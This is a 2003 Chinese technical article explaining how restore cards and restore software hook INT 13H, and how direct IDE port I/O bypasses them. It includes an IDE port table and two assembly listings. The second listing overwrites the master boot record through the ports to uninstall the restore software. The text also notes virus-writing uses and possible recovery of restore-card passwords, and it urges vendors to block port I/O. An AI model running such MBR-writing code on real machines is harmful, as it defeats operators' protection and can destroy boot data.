一種可以穿透還原卡和還原軟件的代碼

一種可以穿透還原卡和還原軟件的代碼(那個的確是很老的東西但是很有用。)

創建時間:2003-12-07
文章屬性:原創
文章提交:wind_men (tyhhyf_at_hotmail.com)

一種可以穿透還原卡和還原軟件的代碼
CVC/GB  風般的男人
還原卡和還原軟件被廣泛運用於各種公共場合的電腦上,比如學校機房和網吧。這些還原卡和還原軟件(以下我簡稱爲虛擬還原技術)能夠記錄下一切對硬盤的寫操作,不論您對硬盤進行拷貝還是移動刪除甚至是格式化分區等操作,只要一重新啓動,一切都會恢復到這個操作之前的情況,因此有些虛擬還原廠商還會在廣告詞中加上一句“可以防範一切電腦病毒”。這種虛擬還原的方法在大部分時候的確可以對公共機房的電腦起到很好的保護作用,難道真的沒有一種方法能夠穿透這種保護機制麼?答案是否定的,下面請聽我一一道來。
一、虛擬還原技術的原理
本文所說的是一種普遍運用於還原卡或還原軟件上的技術,當然,不同品牌不同廠商生產的可能不盡相同,但原理卻是相通的。
首先,還原卡和還原軟件會搶先奪取引導權,將原來的0頭0道1扇保存在一個其他的扇區,(具體備份到那個扇區是不一定的),將自己的代碼寫入0頭0道1扇,從而能在操作系統之前得到執行權,這一點類似於一個引導型病毒;然後,我們來看看虛擬還原技術在操作系統之前都做了些什麼:
1.將中斷向量表中的INT13H的入口地址保存;
2.把自己用於代替INT13H的代碼寫入內存,並記住入口地址,當然這種“寫入內存”並不是普通的“寫”,而是一種我們稱爲“常駐”的方法,有關“常駐程序”的實現方法我們不另外花篇幅來描述了,如果你還不瞭解的話請自己找有關資料,也可以到www.hackart.org或www.lsky.net找風般的男人交流;
3.將中斷向量表中INT13H的入口地址改爲這段常駐程序的入口地址。補充一點,虛擬還原程序在修改INT13H的入口後往往都會修改一些其他中斷入口,當然也是通過常駐程序來實現的,這些中斷用來實現對中斷向量表中INT13H入口地址監控,一旦發現被修改,就馬上把它改回,這樣做同樣是用來防止被有心人破解。
好了,你已經看出來了,這段用來替代BIOS提供的INT13H的代碼纔是虛擬還原技術的關鍵,那麼這段代碼到底實現了些什麼了,以下是本人對此拙淺的理解:
1.攔截所有INT13H中對硬盤0頭0道1扇的操作
這些包括讀寫操作,把所有的對0頭0道1扇的操作改爲對虛擬還原程序備份的那個扇區的操作,這樣做的目的是保護虛擬還原代碼不被破壞,並且不能被有心人讀出進行破解,即使你用扇區編輯工具查看主引導區,實際上你看到的是這個備份的主引導區。
2.攔截所有INT13H中的寫硬盤操作
這裏包括對8G以下的硬盤的普通通過磁頭、磁道、扇區定位的INT13H中的寫操作,和擴展INT13H中基於扇區地址方式的對大硬盤的寫操作,甚至包括擴展INT13H中對一些非IDE接口的硬盤的寫操作。
至於攔截後做什麼是虛擬還原技術實現的關鍵,在早期的DOS系統當中完全可以“什麼都不做”,也就是說當用戶寫硬盤時實際上是什麼都沒做,但現在的操作系統都要對硬盤進行一些必要的寫操作,比如對虛擬內存的寫操作。衆所周知,虛擬內存實際上就是硬盤,而如果禁止操作系統寫硬盤的話顯然後果是不堪設想的。所以,大多數虛擬還原廠商用的方法是佔用一些硬盤空間,把硬盤所進行的寫操作做一個記錄,等系統重新啓動後還原這一記錄,但是怎樣科學記錄硬盤的寫操作,是我一直沒想通的問題,這種“科學”應該體現在時間上和硬盤空間的佔用量上的,也就是說怎麼樣用最少的時間和最少的硬盤空間來記錄硬盤的寫操作是實現關鍵,如果有這方面想法的朋友歡迎和我交流;
3.備份端口70H,71H中的內容,並把最後一次執行時端口70H,71H的內容和備份的內容做比較,不一樣就提示BIOS被修改,是否還原,並通過密碼驗證修改BIOS是否合法。

二、PC機的中斷機制
中斷提供了最基本的硬件和軟件的接口,它使得程序員不必瞭解硬件系統的細節,只要直接調用系統提供的中斷服務子程序,就可以完成相應功能,這樣能使得程序設計更爲方便。其實現機制如下:當某一中斷源發出中斷請求時,CPU能夠決定是否響應這一中斷請求(當CPU在執行更爲重要的工作時,可以暫不響應),如果允許響應該中斷,CPU會在現行的指令執行完後,把斷點處的下一條指令地址和各寄存器的內容和標誌位的狀態,推入堆棧進行保護,然後轉到中斷源服務程序的入口,進行中斷處理,當中斷處理完成後,再恢復被保留的各寄存器、標誌位狀態和指令指針,使CPU返回斷點,繼續執行下一條指令。
爲了區別各個中斷,CPC系統給每個中斷都分配了一箇中斷號N,比如INT 3H是斷點中斷,INT 10H是顯示中斷,我們今天要討論的主要是INT 13H磁盤讀寫中斷。
要說清楚PC機上的中斷機制,用這一點篇幅是完全不夠的,這裏我所說的只是一個大概,如果你不清楚的話,請查閱一些資料或和我交流,我們今天重要要說的就是以INT13H爲例看看BIOS提供給我們的中斷到底都是在做什麼?所謂BIOS中斷簡單說就是你機器上的BIOS提供的中斷,那麼在BIOS中斷的後面,到底是些什麼呢?實際上是一些對端口的輸入輸出操作,PC的每個端口都實現特定的功能,我們完全可以不調用BIOS提供的中斷而直接用輸入輸出指令對這些端口進行操作,從而可以實現象調用BIOS中斷一樣的功能,但是一個前提是你必須對這些端口有詳細的瞭解。反過來說,PC的中斷系統的一大好處就是能夠讓程序員無須瞭解系統底層的硬件知識的而能夠編程,從這點看,中斷有點象我們平時所說的“封裝”,我不知道這樣說對不對,但的確中斷爲我們“封裝”了許多系統底層的細節。

三、硬盤讀寫端口的具體含義
   對硬盤進行操作的常用端口是1f0h~1f7h號端口,各端口含義如下:
端口號     讀還是寫   具體含義
1F0H       讀/寫      用來傳送讀/寫的數據(其內容是正在傳輸的一個字節的數據)
1F1H       讀         用來讀取錯誤碼
1F2H       讀/寫      用來放入要讀寫的扇區數量
1F3H       讀/寫      用來放入要讀寫的扇區號碼
1F4H       讀/寫      用來存放讀寫柱面的低8位字節
1F5H       讀/寫      用來存放讀寫柱面的高2位字節(其高6位恆爲0)
1F6H       讀/寫      用來存放要讀/寫的磁盤號及磁頭號
                     第7位     恆爲1
                     第6位     恆爲0
                     第5位     恆爲1
                     第4位     爲0代表第一塊硬盤、爲1代表第二塊硬盤
                     第3~0位    用來存放要讀/寫的磁頭號
1f7H       讀         用來存放讀操作後的狀態
                     第7位     控制器忙碌
                     第6位     磁盤驅動器準備好了
                     第5位     寫入錯誤
                     第4位     搜索完成
                     第3位     爲1時扇區緩衝區沒有準備好
                     第2位     是否正確讀取磁盤數據
                     第1位     磁盤每轉一週將此位設爲1,
                     第0位     之前的命令因發生錯誤而結束
          寫         該位端口爲命令端口,用來發出指定命令
                     爲50h     格式化磁道
                     爲20h     嘗試讀取扇區
                     爲21h     無須驗證扇區是否準備好而直接讀扇區
                     爲22h     嘗試讀取長扇區(用於早期的硬盤,每扇可能不是512字節,而是128字節到1024之間的值)
                     爲23h     無須驗證扇區是否準備好而直接讀長扇區
                     爲30h     嘗試寫扇區
                     爲31h     無須驗證扇區是否準備好而直接寫扇區
                     爲32h     嘗試寫長扇區
                     爲33h     無須驗證扇區是否準備好而直接寫長扇區
注:當然看完這個表你會發現,這種讀寫端口的方法其實是基於磁頭、柱面、扇區的硬盤讀寫方法,不過大於8G的硬盤的讀寫方法也是通過端口1F0H~1F7H來實現的^_^


四、一個通過對硬盤輸入輸出端口操作來讀寫硬盤的實例
讓我們來看一個關於INT13H讀寫硬盤程序實例。在例子中詳細說明了硬盤的讀寫操作所用到的端口,並且把通過INT13H讀出的主引導區得到的數據和通過輸入輸出讀主引導區得到的數據進行比較,從而證實這兩種操作功能相同,程序片段如下:

mov     dx,1f6h         ; 要讀入的磁盤號及磁頭號
mov     al,0a0h         ;磁盤0,磁頭0   
out      dx,al

mov     dx,1f2h         ;要讀入的扇區數量
mov     al,1            ;讀一個扇區    
out      dx,al 

mov     dx,1f3h         ;要讀的扇區號 
mov     al,1            ;扇區號爲1
out      dx,al

mov     dx,1f4h         ;要讀的柱面的低8位
mov     al,0            ; 柱面低8位爲0 
out     dx,al

mov     dx,1f5h         ; 柱面高2位  
mov     al,0            ; 柱面高2位爲0(通過1F4H和1F5H端口我們可以確定
; 用來讀的柱面號是0)
out      dx,al

mov     dx,1f7h         ;命令端口
mov     al,20h          ; 嘗試讀取扇區
out      dx,al
still_going:
in      al,dx
test     al,8            ;扇區緩衝是否準備好
jz     still_going     ;如果扇區緩衝沒有準備好的話則跳轉,直到準備好才向下執行。

mov     cx,512/2        ;設置循環次數(512/2次)
mov     di,offset buffer
mov     dx,1f0h         ;將要傳輸的一個字節的數據
rep      insw            ;傳輸數據

;   ------

mov     ax,201h         ;以下是用INT13H讀硬盤的0磁頭、0柱面、1扇區
mov     dx,80h
mov     cx,1
mov     bx,offset buffer2
int       13h

mov     cx,512         ;以下部分用來比較2種方法讀出的硬盤數據
mov     si,offset buffer
mov     di,offset buffer2
repe     cmpsb
jne      failure
mov     ah,9
mov     dx,offset readmsg
int      21h
jmp     good_exit
failure:
mov     ah,9
mov     dx,offset failmsg
int       21h
good_exit:              ;以下部分用來結束程序
mov      ax,4c00h        ;退出程序
int      21h

readmsg db      'The buffers match.  Hard disk read using ports.$'
failmsg db      'The buffers do not match.$'
buffer  db      512 dup ('V')
buffer2 db      512 dup ('L')

五、可以穿透還原卡或是還原軟件保護的代碼
你可以對照硬盤讀寫端口含義表,再好好看看上面的例子,你將會對硬盤讀寫端口有一個比較深的理解。好了,到了該把謎底揭曉的時候了,重新回到我們的主題。正如你現在想象的,這種可以穿透還原卡或是還原軟件保護的代碼的確是對硬盤讀寫端口的輸入輸出操作。現在,我們已經可以從原理上理解了,還原卡攔截的是中斷操作,但卻攔截不了輸入輸出操作,而用輸入輸出操作足夠可以對硬盤進行寫操作了,當然用輸入輸出操作也完全可以讀到被虛擬還原程序屏蔽的關鍵部分,被還原卡或是還原軟件屏蔽的0頭0道1扇。知道了這一原理以後,可能是仁者見仁智者見智的,如果你是一個虛擬還原技術的破解者、一個病毒製造者,或是虛擬還原技術的設計者,往往對此的理解都是不盡相同的。
在此強調我不贊成製造病毒,但一個病毒製造者完全可以用此原理寫出一個可以實現破壞裝有還原卡或還原軟件的機器了,所以我要提醒虛擬還原用戶的是,不要以爲裝有還原卡或是還原軟件就掉以輕心,要知道世界上還是有病毒能夠穿透虛擬還原技術的保護,達到破壞硬盤的目的的,想象一下如果把這一原理運用到CIH病毒中,或者運用到硬盤殺手病毒中,其後果是不堪設想的。
談談如何用這種可以穿透虛擬還原技術的代碼來破解還原軟件(如還原精靈)吧。以下是我寫的用來測試破解還原精靈的代碼,本代碼編譯後的程序需要在純DOS環境執行,在DOS下我用這段代碼成功的把還原精靈給卸載了。
.286
CODE SEGMENT
    ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代碼用INT13H讀主引導區
mov     ax,0201h
mov     dx,0080h
mov     cx,0001h
mov     bx,7c00h
int      13h
;---------------------------------------------------------
;以下代碼用I/O端口來寫主引導區
mov     dx,1f6h         ; 要讀入的磁盤號及磁頭號
mov     al,0a0h         ; 磁盤0,磁頭0 
out      dx,al

mov     dx,1f2h         ; 要寫的扇區數量
mov     al,1            ; 寫一個扇區
out      dx,al

mov     dx,1f3h         ;要寫的扇區號
mov     al,1            ;寫到1扇區
out      dx,al

mov     dx,1f4h         ; 要寫的柱面的低8位
mov     al,0            ; 低8位爲0
out      dx,al

mov     dx,1f5h         ; 要寫的柱面的高2位
mov     al,0            ; 高2位爲0
out      dx,al

mov     dx,1f7h         ;命令端口
mov     al,30h          ;嘗試着寫扇區.
out      dx,al
oogle:
in       al,dx
test      al,8            ;磁盤扇區緩衝是否準備好
jz       oogle

mov     cx,512/2        ;設置循環次數(512/2)
mov     si,7c00h
mov     dx,1f0h         ;數據端口,用來存放要發送的數據.
rep      outsw           ;發送數據.
; ------------------------------------------------------------------------------
;退出程序
mov     ah,4ch
int       21
CODE ENDS
    END START
上面的程序非常簡單,說明如下:
1、先把被還原精靈備份的原來的主引導區用INT13H讀出來,這裏雖然是對0頭0道1扇進行讀操作,但實際上是在讀被還原精靈把原來的主引導區備份進去的那個扇區;
2、把讀出的原來的主引導區通過輸入輸出操作寫進真正的主引導區,換句話說就是把還原精靈給徹底刪除了,此時重新啓動你將發現還原精靈已經沒有了。
我寫了個FORWIN98/NT/XP的卸載還原精靈等軟件的程序,大家可到www.lsky.net下載,不過已經有人先我一步了,那就是網吧終結者出的一個清MBR的程序,我試了一下,發現的確有用,我還沒有仔細分析該程序,但我敢肯定其原理差不多。那個程序寫得不錯,不過我認爲有一點需要改進,我的硬盤的MBR程序是我自己寫的,用來實現多引導操作,當我執行完該清MBR程序後,我的多引導代碼就沒了,我覺得此程序如果能把核心代碼部分改成象我以上的代碼,在還原精靈下是把裝還原精靈之前的MBR寫回到主引導區,即使沒裝還原精靈的硬盤也只是把主引導區寫回主引導區,就沒有任何的危險了。
用以上的方法要實現還原卡的破解可能是不行的,因爲還原卡畢竟是硬件,它可以先於硬盤引導前執行,這樣即使你寫回了硬盤的主引導區,還原卡還是可以把它寫回的,但是,在破解還原卡的時候,完全可以利用文章中的原理,把還原卡寫入硬盤主引導區的真正代碼讀出進行分析,甚至有些還原卡的密碼就在這個扇區中。
   對於還原卡和還原軟件的製造者來說,如何讓您製造的還原卡或還原軟件更安全,可能是一個需要思考的問題。真心希望以後的還原卡或是還原軟件在攔截INT13H的同時也能攔截硬盤I/O操作。
在我安裝還原精靈的時候看到一個選項是“防止硬盤I/O破壞”,開始還以爲還原精靈在這方面做的不錯,想到了從攔截I/O操作來保護硬盤。可惜我錯了,即使選擇這一個選項,也同樣可以通過輸入輸出端口操作來寫硬盤。對於掌握了這種技術的人來說,這種還原卡或是還原軟件可以說是形同虛設。因此我認爲,還原卡和還原軟件不但要實現攔截所有硬盤寫操作、攔截對主引導區的讀寫操作,更應該攔截對硬盤的讀寫端口的操作,只有這樣的虛擬還原技術纔可能使基於硬盤的讀寫端口操作所對硬盤的破壞或是對虛擬還原技術的破解變成不可能。
 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章